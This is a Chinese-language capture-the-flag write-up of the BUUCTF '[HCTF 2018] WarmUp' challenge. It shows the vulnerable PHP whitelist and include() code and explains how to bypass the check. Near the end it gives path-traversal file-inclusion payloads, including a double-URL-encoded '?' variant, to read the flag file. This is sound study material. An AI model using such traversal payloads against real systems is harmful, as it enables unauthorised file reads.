BUUCTF——[HCTF 2018]WarmUp
第一次打BUUCTF的题,记录一下。
启动靶机
网页里出了一个滑稽,啥也没有了,按照习惯,先看看robots.txt.
很遗憾,没有robots.txt,于是再F12看看,发现提示。
访问/source.php,得到网页源码。
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
代码的主要部分是
if(! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
}
这里REQUEST接收一个file参数,如果file参数非空还是字符串并且checkFile()函数返回true 那么就利用include(),包含传入的file参数。
这时候就有思路了,由于include()函数这里没有任何的安全措施,所以利用文件包含漏洞以及任意文件读取漏洞,去包含一些文件,以获取flag。
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
将file参数赋给page作为形参带入checkFile()函数
函数定义了两个白名单 source.php和hint.php
我们去访问一下hint.php
flag not here, and flag in ffffllllaaaagggg
发现提示flag文件在ffffllllaaaagggg文件中,结合上面的文件包含漏洞,于是我们想着怎么把这个文件包含漏洞和任意文件读取漏洞来访ffffllllaaaagggg文件
接着看代码
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
取出$page问号前的东西,并将它赋值给$_page
if (in_array($_page, $whitelist)) {
return true;
}
如果$_page在白名单中的话,函数就返回true
$_page = urldecode($page);
如果上面判断失败了,那继续将$page进行url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
再进行一次取出并赋值
if (in_array($_page, $whitelist)) {
return true;
}
再一次进行白名单判断
只要我们能让其中一个if判断为true那我们就能让这个函数返回为真。
于是开始操作
构造Payload
file=hint.php?/../../../../../../../../ffffllllaaaagggg
或者
file=hint.php%253f/../../../../../../../../ffffllllaaaagggg
这里对?进行两次url编码
第一次解码:
%25 经过url解码变为 %
第二次解码:
%3f 经过url解码变为?
为什么要构造两次编码?
因为服务器每次解析时会自带一次url解码,所以一次url编码是对付服务器的,而另一次编码就是对付checkFile()函数中的urldecode()的。
输入payload拿到flag
第一次写文章,以一个比较萌新的思路来解题,望各位师傅海涵。